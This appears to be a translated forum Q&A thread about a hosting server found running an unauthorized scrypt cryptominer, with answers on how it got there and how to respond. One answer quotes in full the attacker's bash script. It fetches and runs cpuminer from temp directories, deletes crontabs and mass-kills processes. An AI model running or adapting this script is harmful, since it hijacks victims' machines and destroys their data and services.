Меня взломали?

8

Я запускаю выделенный сервер, где недавно заметил высокую загрузку ЦП и проверил процессы. Похоже, кто-то (аккаунт mick) занимался майнингом на моем сервере. Как это возможно? Процесс ниже. Я приостановил аккаунт. Что еще мне нужно сделать?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
Бубу
источник
проверьте cronjobs для каждого пользователя.
TPS
5
Немного больше информации о том, создали ли вы эту учетную запись и кто имеет доступ, было бы полезно. Если вы единственный, кто должен иметь доступ, то вы, вероятно, взломаны -> переустановить с нуля.
Anthon
Это сервер веб-хостинга, использующий панель управления Plesk. На сервере есть несколько клиентов с разными доменами и т. Д.
Booboo,
Клиенты не имеют root-доступа к серверу, только ftp
Booboo,
2
Это похоже на криптовалюту Scrypt.
TheDoctor

Ответы:

11

Если вы работаете с веб-сервером, который позволяет создавать сценарии на стороне сервера (php, ruby ​​и т. Д.), Это очень легко сделать.

Все, что нужно сделать пользователю, это сгенерировать скрипт, который загружает файл /tmp/sh64и затем запускает его. Веб-сценарии обычно должны иметь возможность выполнять внешние программы, поэтому такого рода деятельность трудно предотвратить.

Если mickэто та же учетная запись, которая использовалась для запуска веб-скриптов пользователя, я бы сказал, что нет, вы не взломаны. Просто пользователь злоупотребляет своей учетной записью.

Если вы хотите предотвратить такое поведение, существует очень мало способов предотвратить это. Вы можете запретить вызов внешних программ. Или вы можете что-то сделать, например, убить долго работающие программы (например, все, что осталось работать более 60 секунд).
Не зная более подробной информации о вашей настройке, трудно определить наилучший курс действий.

Патрик
источник
1
Как мне запретить вызов внешних программ
Booboo
Ваши варианты варьируются. Я бы отправил еще один вопрос. Предоставьте подробную информацию о том, как настроен ваш веб-сервер, и какой язык сценариев используют ваши клиенты. Простой chroot может работать, но нужны детали.
Патрик
2

У меня была аналогичная проблема. Они использовали устаревшую версию NRPE-агента Nagios для запуска wgetсценария, который устанавливал и настраивал майнер биткойнов из Sourceforge (демон NRPE был dont_blame_nrpeвключен). Я не нашел ничего, что указывало бы, что попытка на моей машине была постоянной.

Это скрипт, который использовался для установки и настройки майнера Биткойн:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Этот скрипт полностью запускался от имени пользователя Nagios, поэтому ему не требовался какой-либо root-доступ.

mtak
источник
2

Ваша система определенно была взломана или в худшем случае взломана. Есть и другие истории, описывающие установку подобного майнера.

Я бы взял позицию, что ваша система была скомпрометирована, и запустил что-нибудь критическое из нее для запуска, чтобы у вас было резервное копирование, если это еще не сделано.

Анализ

Если вам интересно, как они туда попали, вам нужно получить полный список установленных вами сервисов (web, mysql и т. Д.) И посмотреть, есть ли какие-либо активные эксплойты, которые позволили бы кому-либо получить повышенные привилегии.

Я бы начал с любых веб-возможностей, которые являются веб-приложениями. Как правило, эти приложения могут переполняться буфером и иметь доступ к изменению стека веб-сервера, чтобы можно было установить дополнительные приложения.

Это тот случай, когда эти типы компромиссов могут быть единичными инцидентами, поэтому простого удаления вредоносного программного обеспечения и вредоносного ПО может быть достаточно для его устранения без необходимости выдерживать затраты времени на полное восстановление / настройку системы.

Если бы эта система была построена с использованием образа на основе VPS, то я бы работал с провайдером, так как исправление, по-видимому, отвечало бы их интересам для всех их клиентов.

Помимо просто компрометации веб-стека

Все, что находится на коробке, должно быть тщательно изучено и, по сути, ненадежно, но я бы потратил немного времени на то, чтобы выяснить, не можете ли вы выяснить, откуда злоумышленники входят в систему, если это вообще происходит. Возможно, они входят в систему с использованием учетных записей SSH, которые были добавлены в систему после ее взлома.

Это может быть трудной задачей, занимающей много дней для анализа, особенно если вы не можете доверять ни одному из инструментов на коробке, чтобы помочь в этом деле. Я бы посоветовал всем воспользоваться этим временем, чтобы понять, как их система была скомпрометирована, чтобы вы могли снизить риск повторения этого в будущем, по крайней мере, с помощью этого конкретного вектора.

Если это не проблема производственного типа, на самом деле это хорошая возможность обучения, позволяющая получить ценную информацию о том, как системы могут быть скомпрометированы, и доступ может быть «усилен» злоумышленниками.

Серебряная подкладка?

Поскольку система используется в целях майнинга, вполне вероятно, что они использовали автоматизированный набор инструментов сценариев, поскольку для атаки на достаточно систем для настройки зомби-майнеров кажется, что это займет много времени. Когда используются такие инструменты, как правило, они ненадежны в своей конструкции, просто стараясь сделать минимум усилий, чтобы закрепиться, а затем предоставить свою полезную нагрузку (программное обеспечение для майнинга), так что вы можете получить удачу и получить некоторые дополнительные идеи в том, как они смогли войти.

SLM
источник
4
Не обязательно. Если веб-сервер допускает создание сценариев на стороне сервера, а mickучетная запись - это пользователь, используемый для запуска сценариев, это можно легко сделать без взлома сервера. Злоупотребление, да. Взломать, нет
Патрик
@ Патрик - очень верно, я изменил А, чтобы отразить это. Спасибо.
СЛМ